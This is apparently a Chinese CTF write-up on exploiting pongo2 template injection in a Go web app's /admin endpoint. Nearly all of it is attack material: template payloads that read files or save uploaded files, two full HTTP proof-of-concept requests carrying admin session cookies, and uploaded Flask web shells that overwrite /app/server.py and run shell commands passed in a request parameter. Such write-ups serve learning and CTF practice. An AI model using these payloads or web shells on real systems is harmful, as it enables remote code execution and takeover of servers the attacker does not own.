首先是修改文件,启动服务获取admin的session
(无痕浏览器,爱死你了)

之后是个pongo2模版注入

首先是X1r0z的

// UserAgent returns the client's User-Agent, if sent in the request.
func (r *Request) UserAgent() string {
return r.Header.Get("User-Agent")
}

/admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}}

还有一个大头师傅的

/admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py

都差不多

对应poc

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}} HTTP/1.1
Host: 123.56.244.196:17997
Content-Length: 613
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
User-Agent: /app/server.py
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: session-name=MTY4NTE1ODc3OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzlZGsWROWLHoCNn0Pbu3SkgRLWCZRrj8UIHVYgHU7GPw==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="/app/server.py"; filename="server.py"
Content-Type: text/plain

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/shell')
def shell():
cmd = request.args.get('cmd')
if cmd:
return os.popen(cmd).read()
else:
return 'shell'

if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryrxtSm5i2S6anueQi--

另个

GET /admin?name=%7B%25set%20form%3Dc.Query(c.HandlerName%7Cfirst)%25%7D%7B%25set%20path%3Dc.Query(c.HandlerName%7Clast)%25%7D%7B%25set%20file%3Dc.FormFile(form)%25%7D%7B%7Bc.SaveUploadedFile(file%2Cpath)%7D%7D&m=file&n=/app/server.py HTTP/1.1
Host: 970fe693-65cb-4674-8904-37a38a64cfd6.node.domain.com:9123
Content-Length: 564
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn
Cookie: session-name=MTY4NTE2OTE4MHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzUn0khtUAglbEqre0c-3PmfQg0snOpUCSYyvq07U4AKw==
Connection: close

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="file"; filename="server.py"
Content-Type: image/jpeg

from flask import Flask, request
import os
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
res = os.popen(name).read()
return res + " no ssti"


if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryqwT9VdDXSgZPm0yn--

{%include c.Request.Referer()%} #通过请求头的Referer
{%include c.Request.Host()%} #通过请求头的Host
{%include c.Query(c.ClientIP())%} #通过?ip\_add=/app/server.py读取


//读文件
{%include c.Request.Referer()%}
{%include c.Request.Host()%}

//写文件
//这三个payload其实大同小异,只是后两个使用了过滤器(c.HandlerName的值为 main/route.Admin )
{{c.SaveUploadedFile(c.FormFile(c.Request.Host),c.Request.Referer())}}

{%set form=c.Query(c.HandlerName|first)%}{{c.SaveUploadedFile(c.FormFile(form),c.Request.Referer())}}&m=file

{%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py

这个很重要
Pasted%20image%2020231029020223